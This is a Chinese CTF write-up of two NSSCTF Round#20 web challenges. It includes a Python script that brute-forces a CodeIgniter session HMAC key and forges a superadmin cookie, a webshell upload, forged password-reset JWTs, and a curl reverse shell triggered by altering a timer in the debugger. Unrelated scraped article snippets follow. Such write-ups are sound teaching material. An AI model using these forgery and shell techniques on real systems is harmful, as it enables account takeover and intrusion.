【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈
目录
前言
baby-Codeigniter
组合拳!
前言
本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀
主要来谈谈做题的心路历程
baby-Codeigniter
拿到题目的第一反应应该是:“什么是Codeigniter”,接着自然会去面向搜索引擎解题
在那之前,我们可以做到一些有限的事
弱口令admin 123456登录成功

但权限不够,需要super administor,自然的,我们会去看cookie
url解码后,是一段有意义的键值对+hash值

尝试将0改为1(false->true),并urlencode还原

然未果,显然结尾的hash部分是鉴权的关键,具体的密钥、算法?这些我们都不知道,需要借助搜索引擎。但大方向我们基本可以确定是session伪造了
很容易搜出P牛文章:
客户端 session 导致的安全问题 | 离别歌
接着就顺藤摸瓜找到爆破secretkey的
https://github.com/Dionach/CodeIgniterXor
但并不能爆出来🤔然后当时就卡死了啊哈哈(

后来询问出题人说用的那套源码不是xor加密,而是hash_hmac加密,前者是更低版本的加密方式
歪日,可是也没给我源码啊QWQ(
不妨在此处下个断言:“在拿到源码的条件下,只要验证信息存储在了客户端,而非服务端,都有伪造的可能。”
审计源码,找到set_cookie的逻辑
function _set_cookie($cookie_data = NULL) { if (is_null($cookie_data)) { $cookie_data = $this->userdata; } // Serialize the userdata for the cookie $cookie_data = $this->_serialize($cookie_data); if ($this->sess_encrypt_cookie == TRUE) { $cookie_data = $this->CI->encrypt->encode($cookie_data); } $cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key); $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time(); // Set the cookie setcookie( $this->sess_cookie_name, $cookie_data, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure );
- 函数名为
_set_cookie,它接受一个可选参数$cookie_data,用于指定要存储在 cookie 中的会话数据。- 如果没有提供
$cookie_data参数,函数将使用类属性$this->userdata中的数据。- 接下来,会话数据被序列化,以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据,所以需要序列化对象或数组等非字符串数据。
- 如果配置中设置了
sess_encrypt_cookie为TRUE,则会话数据会被加密。这通常用于提高安全性,以防止会话数据被篡改。- 接着,会话数据被附加上一个 HMAC(Hash-based Message Authentication Code),以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。
- 过期时间
expire被设置为$this->sess_expire_on_close为TRUE时为 0,否则为当前时间加上会话过期时间。- 最后,使用
setcookie函数来设置 cookie,包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。
显然靶机这里sess_encrypt_cookie为false,那就好办了,我们可以用爆破的方式来反向推出密钥
根据上述逻辑交给gpt去写爆破脚本
import hmac
import urllib.parse
import hashlib
import timedef EncryCookie(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40cookie = cookie[:cookielen].replace('"superadmin";b:0;}','"superadmin";b:1;}')hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookie+hmacstr)def CrackSecret(cookie,secret):cookie = urllib.parse.unquote_plus(cookie)cookielen=len(cookie)-40hmac_check = cookie[cookielen:]cookie = cookie[:cookielen]hmacstr=hmac.new(secret.encode("utf-8"),cookie.encode("utf-8"),hashlib.sha1).hexdigest()return hmac_check == hmacstrif __name__ == "__main__":cookie = "a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040"secrets = []with open("secret.txt") as f:secrets = f.readlines()starttime=time.time()for secret in secrets:secret=secret.strip("\n")result = CrackSecret(cookie,secret)if result == True:print("[+]Success:"+secret)encrycookie=EncryCookie(cookie,secret)print(encrycookie)exit(0)else:print("[-]Test:"+secret)
成功爆破出密钥为123456,并拿到伪造的session
带着修改的cookie,上传shell

连蚁剑,拿flag

组合拳!
进来弱口令没爆出admin,然后注册个账号尝试登录,显示权限过低,这不一眼垂直越权😂

还没登录进去,自然也就没有cookie,不能直接伪造
那咋整呢,可以去研究下“忘记密码”功能

拿到一段重置密码的url
http://node6.anna.nssctf.cn:28537/#/reset_token?email=2113566520@qq.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA
分为两部分,第一部分是email地址,第二部分是一段jwt的token
关于管理员email地址,可以扫一下目录:

访问/.well-known/security.txt 得知管理员邮箱为Administrator@163.com

访问/README.md,不知道有啥用
搞定了email的问题,我们下面重点关注token
直接拖到jwt.io里去解密,很明显要把name和email分别改成admin和Administrator@163.com

jwt的密钥用jwtcrack来爆破就行,得到是APjT

再伪造下jwt

访问url
http://node6.anna.nssctf.cn:28537/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI
重置好了密码为123456

输入admin 123456成功登录

更多功能->资源下载
对任务内容base64解码后为print("hello world"),是一段py代码
我们只要给恶意命令base64编码然后更新任务即可,但抽象的是,更新的间隙足足有864000秒,即24小时,而且貌似前端还改不来🤔

提交也抓不来包,只能审js了(这里真的很不擅长,只能跟着官方wp走了
其给出的合理说法是每当更新任务时,都会调用getKey

其响应体为

关键词搜索keycode
这里的逻辑是判断keycode是否为字符串,是就跳转到 case 11 分支

在return处下断点

可以看到最后的返回值就是n和o的异或的结果,这个我们不必在意,只要知道与二者都相关就可
将反弹shell命令base64编码(经过询问出题人,直接nc或bash靶机都不支持,只能curl了)
用这个网站来弹
https://your-shell.com/

在此处下断点,可以操作局部变量n
控制台改n的值,令time为1

继续跟几步,可以看到成功修改了time

成功执行命令,反弹shell,拿到flag

相关文章:
【Web】NSSCTF Round#20 Basic 两道0解题的赛后谈
目录 前言 baby-Codeigniter 组合拳! 前言 本想着说看看go的gin框架就睡了的,r3师傅提醒说赛题环境已经上了,那不赶紧研究下😀 主要来谈谈做题的心路历程 baby-Codeigniter 拿到题目的第一反应应该是:“什么是C…...
memcached缓存数据库简介
memcached是一套分布式的高速缓存系统,由LiveJournal的Brad Fitzpatrick开发,但被许多网站使用。这是一套开放源代码软件,以BSD license授权发布。 memcached缺乏认证以及安全管制,这代表应该将memcached服务器放置在防火墙后。 …...
C# WPF编程-Application类(生命周期、程序集资源、本地化)
C# WPF编程-Application类 应用程序的生命周期创建Application对象应用程序的关闭方式应用程序事件 Application类的任务显示初始界面处理命令行参数访问当前Application对象在窗口之间进行交互 程序集资源添加资源检索资源pack URI内容文件 每个运行中的WPF应用程序都由System…...
fpga_hdmi
HDMI简介: 高清晰度多媒体端接口,通常用来连接一些音视频设备,进行高质量的传输,能够同时传输音频信号和视频信号。而且在传输速度上具有较大的优势。 通过hdmi接口进行数据传输时,不需要切换模块,或者提前设置转换。…...
鸿蒙(HarmonyOS)ArkTs语言基础教程开发准备
本文档适用于HarmonyOS应用开发的初学者。通过构建一个简单的具有页面跳转/返回功能的应用(如下图所示),快速了解工程目录的主要文件,熟悉HarmonyOS应用开发流程。 在开始之前,您需要了解有关HarmonyOS应用的一些基本概…...
【C++杂货铺】详解list容器
目录 🌈前言🌈 📁 介绍 📁 使用 📂 构造 📂 迭代器iterator 📂 capacity 📂 modifiers 📂 迭代器失效 📁 模拟实现 📂 迭代器的实现 &#x…...
使用filezilla连接Ubuntu22.04虚拟机
获取电脑IP和虚拟机IP ① 在windows下ctrlR再输入cmd,打开指令窗口,输入 ipconfig 虚拟机连接电脑用的是NAT模式,故看VMnet8的IP地址 ② 查看虚拟机IP地址 终端输入 ifconfig 如果没安装,按提示安装net-tools sudo apt install …...
Verilog基础【二】
3.1 Verilog 连续赋值 关键词:assign, 全加器 连续赋值语句是 Verilog 数据流建模的基本语句,用于对 wire 型变量进行赋值。: assign LHS_target RHS_expression ;LHS(left hand side)…...
定时推送任务 Apache HttpClient/okhttp3
定时推送任务 需求 需要定时推送我方的数据到对方那边 方法1 Apache HttpClient 此方法指定推送过去的信息转为utf-8格式的json字符串 Scheduled(initialDelay 1000 * 120, fixedDelay 1000 * 60 * 5) public void diseaseInterface() {String lockKey "lock:dise…...
centos7 安装 mysql
命令记录,未整理; 1. 下载mysql5.7的安装包,上传到linux系统某个目录中 2. 使用tar -xvf 解压 tar包 tar -xvf mysql-5.7.35-1.el7.x86_64.rpm-bundle.tar 3. 使用 rpm -ivh 安装 mysql rpm -ivh mysql-community-common-5.7.35-1.el7.x8…...
src挖掘技巧总结分享
src挖洞技术分享 src推荐刚入门的新手首选公益src如漏洞盒子、补天src,因为漏洞盒子收录范围广,只要是国内的站点都收入,相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。 首先是熟能生巧,我一开始挖…...
【面试八股总结】传输控制协议TCP(一)
一、什么是TCP协议 TCP是传输控制协议Transmission Control Protocol TCP 是面向连接的、可靠的、基于字节流的传输层通信协议。 面向连接的:每条TCP连接杜只能有两个端点,每一条TCP连接只能是点对点的(一对一)可靠的:…...
【系统架构师】-第13章-层次式架构设计
层次式体系结构设计是将系统组成一个层次结构,每一层 为上层服务 ,并作为下层客户。 在一些层次系统中,除了一些精心挑选的输出函数外, 内部的层接口只对相邻的层可见 。 连接件通过决定层间如何交互的协议来定义,拓扑…...
【操作系统】想要更好的学习计算机,操作系统的知识必不可少!!!
操作系统的概念 导言一、日常生活中的操作系统二、计算机系统层次结构三、操作系统的定义3.1 控制和管理计算机资源3.2 组织、调度计算机的工作与资源的分配3.3 给用户和其他软件提供方便接口与环境3.4 总结 四、操作系统的目标和功能4.1 作为管理者4.1.1 处理机管理4.1.2 存储…...
AtCoder Grand Contest 066 B. Decreasing Digit Sums(构造 打表找规律)
题目 给定一个n(n<50),记f(x)是x各数位的加和,例如f(331)3317 要求输出一个x(),且对于任意i∈[1,n],均有成立 思路来源 jiangly B站讲解 题解 首先n没啥用,构造一个n50成立的case即可, 给定一个x…...
Hadoop系列总结
一、Hadoop linux基本操作 前提掌握Linux基本操作 参考 Linux基本操作-CSDN博客 1、查看hadoop指定路径下文件大小前6的文件信息 hdfs dfs[hadoop fs] -du -h /path/to/directory|sort -hr|head -n 6...
【第三方登录】Twitter
创建应用 APPID 和 相关回调配置 重新设置api key 和 api secret 设置回调和网址 还有 APP的类型 拿到ClientID 和 Client Secret 源码实现 获取Twitter 的登录地址 public function twitterUrl() {global $db,$request,$comId;require "inc/twitter_client/twitte…...
C++经典面试题目(十七)
1、请解释拷贝构造函数的作用,并说明其调用时机。 拷贝构造函数是一种特殊的构造函数,用于创建一个新对象,其内容与另一个对象相同。它将一个已存在的对象作为参数,并使用该对象的值来初始化新创建的对象。拷贝构造函数的调用时机…...
DFS2 C++
一、指数型枚举 1、题目: 从 1∼n1∼ 这 n 个整数中随机选取任意多个,输出所有可能的选择方案。 输入格式 输入一个整数 n。 输出格式 每行输出一种方案。 同一行内的数必须升序排列,相邻两个数用恰好 11 个空格隔开。 对于没有选任何…...
2021-08-06
yarn的简介: Yarn是facebook发布的一款取代npm的包管理工具。 yarn的特点: 速度超快。 Yarn 缓存了每个下载过的包,所以再次使用时无需重复下载。 同时利用并行下载以最大化资源利用率,因此安装速度更快。超级安全。 在执行代码…...
KubeSphere 容器平台高可用:环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
uniapp 对接腾讯云IM群组成员管理(增删改查)
UniApp 实战:腾讯云IM群组成员管理(增删改查) 一、前言 在社交类App开发中,群组成员管理是核心功能之一。本文将基于UniApp框架,结合腾讯云IM SDK,详细讲解如何实现群组成员的增删改查全流程。 权限校验…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
跨链模式:多链互操作架构与性能扩展方案
跨链模式:多链互操作架构与性能扩展方案 ——构建下一代区块链互联网的技术基石 一、跨链架构的核心范式演进 1. 分层协议栈:模块化解耦设计 现代跨链系统采用分层协议栈实现灵活扩展(H2Cross架构): 适配层…...
【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统
目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索(基于物理空间 广播范围)2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...
初探Service服务发现机制
1.Service简介 Service是将运行在一组Pod上的应用程序发布为网络服务的抽象方法。 主要功能:服务发现和负载均衡。 Service类型的包括ClusterIP类型、NodePort类型、LoadBalancer类型、ExternalName类型 2.Endpoints简介 Endpoints是一种Kubernetes资源…...
安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...
Go 语言并发编程基础:无缓冲与有缓冲通道
在上一章节中,我们了解了 Channel 的基本用法。本章将重点分析 Go 中通道的两种类型 —— 无缓冲通道与有缓冲通道,它们在并发编程中各具特点和应用场景。 一、通道的基本分类 类型定义形式特点无缓冲通道make(chan T)发送和接收都必须准备好࿰…...
